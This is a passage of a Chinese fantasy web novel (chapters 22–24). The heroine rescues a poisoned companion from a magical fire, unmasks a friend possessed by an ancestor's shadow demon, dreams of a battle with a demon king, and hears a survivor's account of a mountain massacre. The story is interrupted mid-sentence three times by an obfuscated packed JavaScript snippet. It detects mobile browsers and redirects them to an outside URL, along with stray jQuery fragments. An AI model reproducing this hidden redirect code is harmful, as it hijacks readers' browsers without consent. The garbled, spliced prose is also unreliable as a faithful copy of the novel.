沈惊澜扶起卫昭明,把他扛在肩上,他浑身没有力气,整个人的体重压下去,她差点没站稳带着他一起摔倒。
沈惊澜调整了一下重心,稳住身体。打湿的衣裳已经被蒸干,她干脆扒下卫昭明的外衫披在两人肩上,靠着他身上的温度勉强抵御一下高温的炙烤。
胳膊肘戳了戳卫昭明的胸膛,沈惊澜观察着火势,扯着沙哑的喉咙道:“卫昭明,等下你用体温互住我,身体还有力气就脚上再使点力,我数三二一,带你冲出去。”
卫昭明头靠在她的肩头,轻轻地点点头。
“一!”
梁上残木摇摇欲坠,沈惊澜没有给自己犹豫的时间,她拖着卫昭明,身上被汗浸透,胸口处伤被带有法术的火炙烤一点点撕裂开,仿佛有千万只小虫子在啃咬撕扯。只能一步步挪动,沈惊澜咬紧牙关,还不忘牙缝里吐出几个字吐槽他:“你太重了。”
“抱歉,”他气若游丝地说,“你放下我,赶紧跑。”
“卫昭明我告诉你,”沈惊澜莫名对他这种舍己为人自暴自弃的态度生气,“你要是再说放弃自己的话,我就像扎小人一样用剑把你扎个千疮百孔,还要吊着你一条性命,让你生不如死!”
“我说过,你死了,我就回不了家了,所以你必须活下去。”
她的话带着不容置疑的坚决,卫昭明用力抬起头,看到她眼眸中不复往日笑意盈盈,承载着最明澈的月光,而是如山一般坚韧,蕴含着无法撼动的决心。
沈惊澜没有注意到卫昭明如火一般炽热的目光,她迎面被猛烈的火势烤得几近虚脱,后背又传来彻骨的寒意让她麻木。
恐怕撑不到门口了。眼前视线渐渐模糊,沈惊澜被压得直不起腰。她不甘心:“该死,裴玄的水怎么还没来!”
话音刚落,裴玄用法力从屋外小池引水而来,汩汩清冷的细流虽无法扑灭大火,但在沈惊澜周围形成一个水圈,勉强给她带来一点点舒适的温度。
外面隐隐传来人声,沈惊澜打起精神,深吸一口气,卫昭明趴在她肩上整个人几乎快要掉下去,有了池水的保护,她干脆把卫昭明放在地上,拽着他的领子慢慢挪动。“卫昭明你再坚持一下,马上就安全了。”
她没精力去看身后的卫昭明状态如何,哑着声音道:“要是还活着,就回个‘一’。”
微弱的声音从身后传来:“一。”
还好,还活着,还能继续前进。一块梁木掉下,沈惊澜侧身堪堪避开,火苗燎到了袖子,如藕段般的胳膊立刻被烫得通红。
不要紧,死不了就不要紧。沈惊澜咬牙继续向前,额头细密的汗水滴到眼睛里,刺得眼睛酸痛,可她不敢闭眼。
再迈出一步,沈惊澜一阵眩晕,再也无力支撑,腿一软,摔倒在地。
一旁柱子被火烧断,正对着二人倒下!
沈惊澜大脑一片空白,趴在地上眼睁睁看着燃烧的残木离自己越来越近,近到能看清火中木头的纹理。
“回不了家了。”她苦笑一声,仰起头迎面闭上眼睛等待死亡降临,心里出乎意料地平静。
果然,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717032|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做炮灰就要有炮灰的觉悟。
突然身后一股凛冽的寒意盛起,沈惊澜蓦地睁开眼睛,眼前的柱子连带着没来得及熄灭的火焰被寒冰冻住,连在地上,在她眼前一方小小的天地筑成一座瑰丽的冰雕。
“卫昭明?”她惊喜地回头,“你能施展法力了?”
回头却看到他身体被冰冻住,七窍渗出血丝,倒在地上,微微睁着眼睛,眼中却无神。
沈惊澜立刻反应过来,是毒,他催动体内的毒,毒性大增,以自毁的方式救了他们一命。
正在此时,四个除妖师冲了进来,立马在二人周围围成十字阵,这次法术终于起了作用,抵住接连不断呼啸而来的火势。
有救了。沈惊澜鼻子一酸,几乎立刻就要哭出来。她强压住哭意,胳膊支撑地面抬起身子,爬到卫昭明身边,掰正他的脸,手在他眼前晃了晃:“卫昭明?”
依旧是微弱的一声“一”。
还好,还活着。泪水控制不住涌下,混在满脸的汗水中,掩盖其中脆弱的狼狈。
又进来两个除妖师,见四人护阵,便连忙赶来扶起二人。
“他身上怎么冷这样?”一个除妖师扶起卫昭明,被冻得差点松开手。他手抵卫昭明印堂,再抵胸口,面色凝重,“他体内有寒毒,毒性太猛,必须马上施法为他护住心脉,否则便要成废人一个。”
秦秋和裴玄一直在引水,见几人终于出来,连忙跑去,无奈触碰不到,什么也做不了。
一见到二人,沈惊澜带着哭腔道:“秦姐姐、裴大哥,快让其他除妖师为卫昭明施法,他快死了,快让他们救他!”
祝红月带领其他十余除妖师在施法扑火,另几个除妖师得了永安王的令要护他们周全,便道:“各位放心,我们会替卫公子施法,请让我们带他去一个安全的地方。”
秦秋连忙点头:“好,好,师兄你去陪着昭明,我来照顾阿兰。”
“等一下,”沈惊澜叫住裴玄,对其他除妖师道,“请几位大哥先去替他施法,我们这里还有点私事要解决。”
秦秋和裴玄不解:“阿兰你怎么了?还有什么事?”
沈惊澜倚靠在小池旁边的假山上,借力支撑身体。铺天而来的疲惫与痛楚几乎将她压垮,但她依旧撑起一丝精神:“祝姑娘,阿兰有事相求,可否来一下?”
祝红月闻言飞身而来,身上还带着酒气:“姑娘有何事?”
“秦姐姐,你过来。”
秦秋走到她身边,一脸茫然:“阿兰,到底何事?”
黑夜渐渐将大火吞噬,沈惊澜眼前却仿佛还能看到大火。
她能看到当时她跑进屋里,一眼看到卫昭明身边的火势骤然猛烈,然后她不管不顾地跑去,差点被火烧到。
当时裴玄很焦急地让她躲开,她凭船山之力闯了过去,回头跟他说:
“我没事!”
那一瞬间,她分明看到裴玄的眼睛,是血染的红色,然后在猝不及防的慌乱中成为幽深的墨色。
沈惊澜看着裴玄,漠然道:“裴大哥,别装了。”
22. 第 22 章
“此刻的你,是裴玄,还是卫符?”
此话一出,秦秋大惊:“你这是何意?”
“一开始起火我并没有多想,秦姐姐去叫人后,火势立刻大了许多,我只觉得害我们的人法术高明,直到——咳咳——”沈惊澜喉咙火烧火燎的疼,她干咳出一口血,没有力气擦,愣是咽下嘴里残留的丝丝腥甜,继续道,“你说你的法术对火无用,我信,但为何迟迟引水不来?”
“直到秦姐姐找来了人,你才引水进屋,我这才反应过来,秦姐姐刚熄灭烛火不久,你们这里便起了火,想必是以为我们已经睡了,便趁夜烧死卫昭明。”
“能做到这些的,除了谢清言便是卫符,谢清言的首要目标不是卫昭明,那便只能是你了,”沈惊澜眉毛压低,眼中透露出危险的气息,“卫符,还不现身吗?”
裴玄缓缓抬起眼眸,浓如深渊沉静无波的眼底暗含着一抹血红的杀意。
秦秋掏出流英锤上前一步,对准裴玄,一层层月白的涟漪从半个人大的锤子荡开,掀起叠叠风浪。她杏眸竖起,厉声道:“我不管你是谁,再不从师兄身上离开,就别怪我不客气。”
他嘴角嚣张地上扬,双手环抱于胸前,微微抬起头,轻蔑地看着众人:“不自量力。”
一阵云雾弥漫,裴玄置身云雾中若隐若现。他慢慢拔出剑,青风剑发出刺耳的剑鸣,剑气大盛,云雾乍散,形成强烈的气流排山倒海般呼啸而四散。
秦秋一锤砸向地面,青石板碎成粉末,紧接着余力没有丝毫减弱,冲着裴玄的方向一块块崩裂的石板飞起,直袭裴玄面中。
两股力量碰撞产生强大的冲击,摧枯拉朽的气浪之下,树木倒拔而起,百草凋敝,明月失色。
祝红月连忙设立结界护住沈惊澜,沉声道:“你们哪里来的除妖师,年纪轻轻法术竟如此高强?”
沈惊澜摆摆手:“他们是锦绣城的除妖师,我只是被他们好心收留的普通人。”
“锦绣城?哪里的小门小派出此奇才?”
沈惊澜不知道怎么跟她解释,也没心情向她解释,方才秦秋那一锤把她砸醒,原著中与裴玄对峙的是沈惊澜,裴玄神志不清被卫符所控,一剑刺穿她的胸膛,祝红月当时可以阻拦,却被秦秋一锤分散了注意。沈惊澜血溅了裴玄一脸,他这才找回意识的主导,挥剑刺向自己的大腿,逼迫自己保持清醒,而后立刻护住沈惊澜心脉,才捡回她一条命。
整个幻境都是因卫符所建,万州惨状也都是因他而起。
传说中平云山、建锦绣,除妖界百余年来最响当当的人物,竟会使如此下作的手段。
裴玄被附身后出手狠厉霸道,青风剑悬于空中变幻莫测,化为无数剑影,每一次出剑都带着十足的杀意。月白的光芒很快变弱,一点点被逼退到秦秋身前,秦秋额头冒起细汗,抡起流英锤砸向青风剑,电光石火之间,藏青色的身影看似悠然踱步,实则在未看清其动作时就已经闪身,轻轻巧巧越过流英锤的阵法,似闲鹤踏云,悠然而来,待回过神时,剑已擦过祝红月,离沈惊澜胸口不过寸余。
秦秋惊呼:“阿兰小心!”已是来不及。
“裴玄,你最好赶紧醒过来。”沈惊澜声音颤抖,靠着假山让自己看起来不那么狼狈,她不确定被卫符附身后两人能否触碰到,她不敢冒这个险。
裴玄眸子深处的幽红如同今晚的大火,陡然而盛。他微微歪着头,脸上带着笑意,原本如玉的面庞此刻变得妖邪:“你太碍事,也该死。”
云雾再次腾起,秦秋没有犹豫双手紧握流英锤,从他身后高高跃起,在剑刺入沈惊澜胸膛的同一刻,重重砸向裴玄。
一锤碎天惊。
万千碎石崩裂溅起五丈高,在空中汇聚成漩涡,遮住苍穹明月,一齐裴玄涌去!
裴玄身体触电般颤抖了一下,眼底幽红消失,从疯狂杀意渐渐恢复清明。
沈惊澜大喊:“快躲开!”
他本能挥剑向后相抵,剑光化为千万道虚影在乱石之间飞速游走。
两个锦绣城最有天赋的弟子奋力相击,一时之间狂风骤起,卷起漫天风沙,飞叶作刃割裂肃杀的夜空。
芍药花被摧折,艳红娇粉的花瓣凌空起舞,似弥漫在空中的残血。
祝红月的结界支撑不住,其余除妖师纷纷合力施法布阵,以求自保。
刺眼的光芒迸发,两人强大的法力随着一阵猛烈的震荡后渐渐平息,裴玄踉跄半步,终是因为后发慢了一招而败下阵来。
万石坠落,秦秋紧接着挥锤引石向一旁,石子在一侧堆成一座小山,其余人躲过一劫。
“师兄,你怎么样了!”
裴玄抹去嘴角的血,眉头紧锁,眼中还残留着未完全褪去的茫然:“我刚才……我都做了些什么……”
大火堪堪扑灭,黑烟滚滚,依旧熏得人呼吸困难。
秦秋担忧道:“你方才被卫师祖的影妖所控,想烧死昭明。”
他狠狠拍了拍发胀的脑袋,懊恼道:“我怎会被影妖所控?昭明如何了?阿兰你没事吧?”
沈惊澜声音虚弱:“我没事,卫昭明不大好,除妖师说……”
话没说完,她再也支撑不住,晕倒在祝红月怀里。
失去意识的前一刻,她甚至有一丝庆幸,终于可以有片刻的喘息。
…………
身体好像变得很重,沈惊澜眼前出现一座高耸入云的青山,白云飘渺之间,一个青绿色的身影在山间穿梭,身姿轻盈飘逸,宛若云间游龙。
她凑近了看,那妖三丈高,通体青绿,布满苔藓,头上长了一朵绿瓣白芯的小野花。
原来是沈惊澜的原身。
忽而天色大变,阴云密布,天降惊雷,沈惊澜立于苍山之巅,黑云之下,一只展翅两丈宽的巨鹰盘旋,在劈天的闪电间舞蹈。
她看不真切,只见巨鹰引闪电劈向沈惊澜,沈惊澜伸展胳膊抵挡在前,闪电便在她胳膊之间穿针引线般为她所控,然后被抛向数十里之外的荒野。
“妖王少鹰?不过如此,”她缓缓开口,声音穿透云层响彻天地,“妖王的位置,也该换人了。”
巨鹰长啸,千万缕银青色的浪流自远方而来,从天形成长河倾泻而下,长河带着万千青面银鱼尖锐的哀嚎,直穿耳膜,沈惊澜目光一凛,飞身踏长河而上,转瞬便到少鹰面前,拽住他的脚一扯而下,狠狠将他摔下嵌入土地之中。
少鹰身上不知断了几处,羽毛掉得漫天飞舞,他不怒反笑:“沈惊澜,你太狂妄了。”
沈惊澜冷笑:“那又如何?”
“刚才啃咬你的可不是普通的青面银鱼,”少鹰喷出一口血,并不在意,继续道,“此刻你应当浑身似被火灼烧,被虫蛇啃咬吧?”
果然如他所说,身体开始痛苦难耐。她强忍下来,冷声道:“你在其中动了手脚?”
少鹰躺在四五米深的坑底,朝天大笑:“今日之后,世间便不会再有沈惊澜,妖界,仍在我掌控中!”
“山都再强大又如何?在我少鹰面前,都得乖乖俯首称臣!”
沈惊澜感到体内法力迅速流
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717033|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
失,她不能在这里待下去,必须尽快寻找一个安全的地方,可是少鹰没有给她机会,长河冲着她一泻而下,将她卷入无尽的深渊之中。
“不要!”
沈惊澜猛地坐起身子,胸口猛烈地起伏,视线还未完全清朗,嗡嗡耳鸣刺激着耳膜,让她有些恍惚。
“阿兰你醒了!”
秦秋关切的声音响起,她茫然抬起头,还好,三人都在。
“你刚才做噩梦了吧?”
沈惊澜擦掉额头的汗水,点点头,声音沙哑:“我睡了多久?”
“一天一夜,完全睡死过去。”卫昭明脸色依旧苍白,恹恹的,却还是强打起精神,递给她一杯水,“嗓子这么哑,喝点温水润润喉咙。”
不知道是不是错觉,卫昭明的声音好像温柔了许多。
她狠狠灌了一杯水,才想起来除妖师之前说的话,便关切道:“你还好吧?还有法力吗?”
“还没废掉。”
秦秋道:“多亏谢清言出手相助,否则昭明这次凶多吉少。”
沈惊澜吃惊地看着他:“她恨除妖师入骨,竟然愿意救你?”
“她说既然答应帮你,就会帮到底。”
倒是个有信有义的妖怪。
沈惊澜道:“我没事啦,倒是你们都没怎么休息,别守着我了,我不能拖你们后腿。”
秦秋宽慰她:“我们无妨,只是你和昭明还要休养,你是我们锦绣城的恩人,别说这样见外的话。”
救他,不过是为了救自己。若非有任务在,她断不会冒生命危险去救一个纸片人的性命。
“阿兰。”一直沉默地裴玄出声,他站得很远,在烛火照不到的阴影处。
“抱歉,我差点酿成大错,你若怨我……”
沈惊澜打断他:“裴大哥,这不是你的错,错在影妖,你若是自责不振,便正中他下怀。”
秦秋点头:“阿兰说得不错,此刻我们不能被他所扰,当务之急是想办法找到阿兰所说的大河,我相信阿兰,必有河流。”
沈惊澜感激地看着她,终于,他们完全相信了她的话。
只是有一事她还不清楚,裴玄好感度上升为50%时意识是否清醒,若是意识混乱,说不定这个数据未必准确。
她想着想着,下意识地抱起胳膊,不小心碰到被火燎伤的伤口:“嘶——”
“小心!”却是卫昭明和裴玄同时出声。
不妙,以她多年看小说的经验和敏锐的直觉,好感度恐怕是真的。沈惊澜眼睛一转,对秦秋和裴玄道:“秦姐姐、裴大哥,我有话想单独对卫昭明说。”
秦秋望了裴玄一眼,抿了抿嘴巴,扯出浅浅的笑意:“明白,我们出去守着。”
房间里只剩两个人,谁都没有先开口。
一时陷入尴尬的安静。
卫昭明忍不住地偷偷瞥她,见她低头在想什么,便生硬地干咳两声。
“多谢。”
沈惊澜摆摆手:“你之前救过我,权当还你救命之恩。”
她这话颇有一种两清的味道,卫昭明不知道怎得听着不舒服:“这不一样,我卫昭明从不欠人情。”
“你就这么想还这份恩情?”
卫昭明道:“自然。”
沈惊澜轻咬嘴唇略一思索:“我呢有点预知未来的能力,将来恐遭祸患。你答应我,以后无论如何,都不能伤我性命。”
“哪怕所有人都要杀我,但你不能。”
“还有,秦姐姐和裴大哥的事,需要你帮忙。”
23. 第 23 章
卫昭明靠着床柱,目光灼灼,盯得沈惊澜有些心虚。
她移开目光假装不在意:“第一点你不答应就算了,你们除妖师整天除妖卫道太危险了,到了莽山,我们桥归桥路归路,我不缠着你们,你们也别来找我。”
沈惊澜已经想好了,如果能顺利按照原著走向,到莽山之前她是不会掉马甲的,只要完成裴玄和秦秋的感情任务,到了莽山恢复法力之后,她就去干掉少鹰成为新的妖王,届时没人或妖可以伤害她,她可以安全地苟完剧情。
“不过第二点,你一定要答应我。”
“你是这样想的?”他的眼眸幽深,在白的病态的面容上更显得像生宣晕开的远山。
他身形不稳,拖着沉重的身躯靠近了一步,逼到她面前想要一个答案。
沈惊澜莫名其妙:“不然呢?难不成跟你们去锦绣城?我对除妖没兴趣,我只想平平安安的,最好长命百岁。”
外面起了风,吹开窗户灌进一屋子的凉意,烛灯熄灭,四下漆黑,隐隐的月光照亮一隅,把卫昭明的身影拉的很长。
他身体似被寒风吹得摇晃了下,沈惊澜好心提醒:“要你不先回去歇着?报恩什么的也不急于一时,你寒毒刚退,别再累垮了身子。”
谁知他赌气似的直接靠着床坐到地上,背对着她,微微低头,鬓角的碎发遮住半张脸。
沈惊澜只能透过微微的月光看到他清晰瘦削的下颌,她的声音随着气氛的微妙不自觉地放轻:“你这是什么意思?”
“你是在担心我吗?”他的声音也软了下来,蜷缩在床下,像一只受伤的小兽,明明渴望得到一根稻草,却倔强地不肯接受人的同情与施舍。
沈惊澜知道他另有所指,却有意忽略,半开玩笑道:“自然,虽然我觉得跟你在一起太危险了,还是想回家找情郎,但是好歹曾经中意过你,自然担心你。”
她在现实中也是二十多岁的青年了,不会天真到连对方的喜欢和亲近都感觉不到。
但不管是秦秋、裴玄还是卫昭明,对她来说都是纸片人,完成任务之后她终归要离开这里,他们本就是两个世界的人。
一开始她还打算假意与卫昭明在一起,断了裴玄的念想。可现在卫昭明向她寻求一个答案,沈惊澜却不想回答。
原著中的卫昭明出生时母亲因难产而亡,他生来体弱,加上父亲对他极为苛刻,他就像石缝间的小草,要拼了命地生长,才堪堪能钻破石头,看到一点点阳光。
这样的小草,只要给他浇浇水,他便可以为之把自己所有的枝叶、根系双手奉上,即使是别扭的、嘴硬的。
沈惊澜突然不忍心这样骗他。
长痛不如短痛,不如趁这个机会把他推开。
他搭在膝盖上的手握紧,头完全垂下,自嘲地笑了笑:“也是,跟我在一起,确实没什么好处。”
顿了顿,沉沉道:“我答应你,以后不管发生什么事,我的剑,永远都不会指向你。”
得到了想要的回复,沈惊澜却觉得胸口有一块石头压着,让她有点喘不动气。
“那,真是多谢了。”
卫昭明不说话了,屋里安静得可怕,沈惊澜歪过头偷偷打量着他,他寒毒刚消,不知道现在冷不冷。
“你……”
卫昭明猛地起身,手撑着床边,骨节分明发白,能清晰地看到青色的血管。他俯身盯着沈惊澜,因为身体虚弱,几乎是用尽了力气才站稳。
不小心碰到了他的手,依旧冷得人打颤。沈惊澜被他吓了一跳,不动声色地往床里面慢慢挪动,面上还是镇定:“你要干什么?”
碎发之下的眼眸忽闪不定。明明身体那么冷,鼻翼却渗出细密的汗珠:“我……我也不知道我要干什么……”
他的语气充满懊悔,冲动出乎意料,他甚至没想好要说什么,身体便先行一步。
“我只是不甘心。”
锦绣城里的女弟子不多,卫昭明不过是个十七岁的少年,与他最为亲近的异性便是秦秋,可他对秦秋只有敬爱。
这样的感觉很陌生,像轻柔的芦苇上拂过心尖儿,又酥又痒,抓不住、躲不开,让人抓心挠肺,无能为力,满腔的情绪无处发泄。
他索性破罐子破摔,大不了把脸丢尽:“我不甘心你想与我分道扬镳。”
“你舍命救我,我不甘心你这样不在意。”
“我知道你把师兄师姐支出去并非是要单独对我说什么,你只是想让他二人尽可能独处,我只是你的一个借口。”
“被你利用我竟觉得开心,至少对你来说我不是无用之人。”他越说越激动,身体抖得愈发厉害,好像弱不禁风的小草终于要被狂风摧折。
沈惊澜彻底呆住,她没想到卫昭明会把自己剖开,不留余地地将自己彻彻底底献到她面前。
“可我对你来说,真的无所谓吗?”
“我真想剖开你的心,好好看看你到底是怎么想的。”
沈惊澜被他盯得心慌,避开他滚烫的目光望向别处。“我们本就萍水相逢,认识不过十余日,你看不懂我,我也不了解你,说这些不觉得可笑吗?”
卫昭明许是被冻坏了脑袋,竟然笑了起来,本就颤抖不止的身体更加摇摇欲坠。“十余日,原来居然不过十余日,这十余日,可真漫长啊。”
他笑得停不下来,胸口剧烈起伏,支撑不住倒在一旁,抵着床前的柱子瘫坐。他微微扬起头,一只手捂住脸,遮住了癫笑下的狼狈。“是啊,我是真昏了头,才跟你说这些笑话。”
他止住了笑,沉默良久。
“阿兰姑娘,见笑了。”良久之后,他的声音嘶哑,眼眸中的春水沉寂,成为一潭幽幽死水。
沈惊澜无措地不知该如何回应,干巴巴说了句:“无妨。”
“答应你的事我会做到,我会送你回家,若我能解毒活下来,说不定可以向你讨一杯喜酒。”
“阿兰姑娘不会连这点请求都不答应吧?”
沈惊澜眼睛酸涩,只点了点头。
这样的情绪她不喜欢,甚至有些抵触。多年看小说的经验告诉她,一些不确定的感情因素往往会影响角色的正常判断,最
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717034|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
终造成不必要的波折。
调整情绪她最擅长,遇到难缠的甲方的时候,只需要深吸气、慢呼气,数数卡里几位数,算算这个月开销,她便能以一种万物皆空的心态平和应对。
离开这里最要紧。
她揉揉鼻子,调整了一下呼吸,咽下喉咙间的异样:“这些都不重要,重要的是卫符。”
“卫符是你的先祖,他死前化身的影妖想杀你,你们锦绣城一定有什么不可告人的秘密。”她试图把一切拉回正轨。
“我甚至怀疑他也不是影妖,他能附身,有主动性有策略,他也不可能是人,那他还会是什么?”
沈惊澜说得极快,生怕他看出自己刚才异样的情绪。
卫昭明没有答话。
这样的气氛实在让人窒息,她干脆起身想把外面守着的两人叫进来。刚站起来,由于躺了太久而腿发软,身子往前一扑便要摔倒。
卫昭明来不及站起,下意识地朝她扑去,结结实实地倒在她身下当了回肉垫子。
仿佛回到了第一天见面,船山地底之下,也是同样的姿势。
他的身体还是很冷。
“那个……多谢……”现在的姿势太过暧昧,沈惊澜立刻撑起身子,却不巧撞进卫昭明的眼眸。
他生的一双好看的桃花眼,生来带着风流,眼睛熬得通红,正似我见犹怜的美人,春潮带雨,雨中落红。
此人长得实在妖邪,尤其是跟裴玄站在一起,活脱脱美男妖的长相。
他好像有点愉悦?
卫昭明胸膛轻颤,清越如筝的声音响起:“你怎的如此慌张?”
沈惊澜连忙起身,退开几步,面色自若:“要摔倒了,自然慌张。”
没想到卫昭明一扫之前的不快,朗声道:“你说的对,我们认识不过十余日。”
“去莽山少说还有四五十日的路程,我现在不了解你,但还有很多时间可以慢慢了解。”
“自然,我也会让你好好了解我。待我找到解药,便在莽山休养段时日,替莽山的百姓除除妖,顺便认识一下你的情郎。”
这人怎么阴晴不定的。沈惊澜觉得他疯了:“你刚才是把脑袋摔坏了吧?”
“阿兰,你刚才的心跳很快。”
沈惊澜无语凝噎,仅仅是心跳跳得快了点,这个人就把自己哄好了?
酸涩的情绪被冲散,沈惊澜甚至想借流英锤把他砸醒,但鉴于他是主角团一员,为了自己的后路不能把他得罪太过。
沈惊澜恨铁不成钢道:“卫昭明我真的没空陪你闹了。”
“你的祖宗的某种形态想杀你,你一点不在乎吗?他的行为极有可能代表卫符自身的意志,你不担心创建锦绣城、曾为天下除妖师之首的卫符实际上是个手段卑鄙、阴险毒辣的小人吗?”
卫昭明无奈地苦笑:“其实你说的这些,我和师兄师姐都有想过。”
裴玄和秦秋此时推门而入,面带愧意。
“抱歉阿兰。”
“其实我们一早便察觉到师祖并非影妖,只是不愿承认。”
24. 第 24 章
“不是,”沈惊澜欲哭无泪,“你们怎么不早说啊?”
裴玄面露难色:“抱歉,其实与他共对谢清言时我便发现,只是……”
他没继续说下去,沈惊澜却立马明白了他们的难言之隐。
“你们觉得,真正的卫符不该是这样的?”
裴玄面色凝重:“是,师父说师祖是天下最光明磊落之人,他一心除妖,创建锦绣,天下除妖师皆以他为首。”
“更何况,卫符乃卫家血脉,师祖绝不会下如此毒手!”
他无比笃定,不知是在说服沈惊澜,还是说服自己。
沈惊澜长叹一声,有点不忍心戳破他。
裴玄是卫长枢最得意的弟子,亦是这一辈除妖师中最拔尖儿的。世人以为卫昭明将来承掌门之位,将会是成为新一代除妖师之首,却不知锦绣城的未来不在少主卫昭明,而在大师兄裴玄。
原著中裴玄从小就极为敬爱卫长枢,一日为师终身为父,比起卫昭明,他更像是卫长枢的孩子。
在他心目中,锦绣城便是正义的化身,是为天下苍生除邪卫道的神圣所在,自然不会允许这片圣土中有一丝污垢。
沈惊澜转而看向卫昭明,他被自己祖宗痛下杀手,恐怕更是难以接受。
她之前,竟完全把他们当作帮助自己完成任务的纸片人,没有考虑过这一点。
“你无需用这种可怜的眼神看我,”卫昭明别扭的别过眼神,苦笑自嘲,“许是祖宗看我太不给卫家争气,所以想替父亲教训教训我。”
秦秋上前握住沈惊澜的手,怕她生气,恳切道:“我们不是有意瞒你的,只是我们自己需要时间去接受,本来是想等你醒来之后告诉你,抱歉了阿兰。”
其实沈惊澜也不生气,反而很能理解,对于他们尤其是裴玄来说,卫符若是反派,相当于他们一直仰望、追逐的人崩塌了,若换作是她,也会怀疑人生。
“秦姐姐,我理解的。”
她对裴玄道:“只是事已至此,不管这里的卫符究竟是什么,都已经与我们为敌,若下次碰上,绝不能手软。”
裴玄还想说什么,犹豫了一下,终是把到了嘴边的话咽了下去。
沈惊澜继续道:“这个幻境持续时间很长,不知是因为谢清言还是因为卫符。卫符一击不中,必不会再贸然来袭,也许可以从谢清言上再找找突破口。”
话音刚落,屋顶传来细细簌簌的响声,几片瓦片被移开,明月清辉映了下来。
“谁!”裴玄立刻拔剑。
一抹黑色的身影从屋顶跳下来,重重落地,带着一盏梅花灯笼。
“谢清言?!”沈惊澜傻了眼,“你在屋顶做什么?”
“不对,你不应该在妖狱中吗?怎么跑出来了?”
谢清言闲步走到桌前直接坐在桌子上,小心翼翼把灯笼放到一旁,拿起茶壶就往嘴里倒,一口气喝完整壶水,擦干嘴角指指卫昭明:“自然是为了救你的小郎君。”
“我当时正在妖狱中休息,几个除妖师火急火燎来找我,说你的小郎君马上要变废人一个,只有我能救。”
谢清言从怀里拿出一只包好的烤鸡,小心翼翼掀开油纸,扯下一根鸡腿大口啃起来。“我伤未好,本不想帮他,可既然他那么在意你,我帮他一回也无妨。”
她三下五除二啃完两只鸡腿,开始吃鸡翅。
沈惊澜无奈地扶额,纤长的手指先指向卫昭明,再指指自己:“我跟他只是萍水相逢,一起赶路,请注意你的措辞,什么‘我的小郎君’,很容易引人误会。”
眨眼间整只烤鸡就只剩骨头,谢清言想了想,把骨头也放在嘴里细细咀嚼。她边嚼边道:“方才我在屋顶都听到了。在妖狱中我就注意到,我解开玄铁槛禁妖咒时,他的眼睛一直钉在你身上,随时准备拔剑。”
这回倒是卫昭明害了臊,手放在嘴边干咳两声:“我只是怕你动手。”
说完又觉得不甘心,想把自己对沈惊澜的好全都告诉她,可说出来的话又变了味:“自然,有些人不会法术,更需要保护。”
“打住打住,”沈惊澜不想再讨论这个话题,“现在最重要的是你,谢清言,能不能想起你是怎么进入幻境的。”
“我们在明卫符在暗,不到万不得已,还是不主动找他为好。”
谢清言的脸看起来稍稍丰润了一些,紧接着又从怀里掏出一个包袱,展开一看,里面有七八个包子,见大家都在用怪异的眼神看她,她淡淡解释道:“王府后厨剩下的。”
她徐徐道:“我真的什么都不记得了。”
“化成人形之后我直接来到此处,买包子的时候遇到了卫符,虽发现他是除妖师,但他替我付钱,我便没杀他。”
“再后来的事,你们都知道了。”
很快包子也吃完。她看起来终于是一个正常偏瘦的女子,眉眼清清淡淡,冷冷清清,如远山覆盖一层薄薄的初雪,山上的白梅含苞待放。
有用的信息太少,沈惊澜追问:“七年前永安王放火烧云山时,身边都有谁?”
谢清言擦干净手,回忆道:“当年民间谣言盛起,说云山多妖,将成大祸,皇帝令永安王秘密前往,身边只带了数十个除妖师。”
“当时云山确实有不少妖怪,但都是小妖,根本不会威胁到他们。他们怕打草惊蛇,没有通知山腰山脚的百姓提前撤离,将所有人都封在了禁妖咒中,然后放火烧山。那几十除妖师的禁妖咒异常歹毒,纵是我,也破不了咒。”
她的声音略微颤抖,脸色冷了下去。“他们说,是一个除妖师向永安王进言烧山,彼时我差一点就可以化形,就差一点!若能化形法术将大增,只可惜,差一点就能破了他们的咒!”
说到最后,她几乎哽咽:“云山三百六十凡人,两百八十妖,除了我,无一幸免。”
眼前又是那日漫山大火的情景,带着禁妖咒的大火比寻常的火要猛烈数倍,异常地炙烤着她身上每一寸土地。
那一刻人和妖没有分别,在无助的哭喊和慌乱逃命的步伐中,被火烧身,顷刻化为灰烬。
谢清言闭上眼睛,不敢再回想。
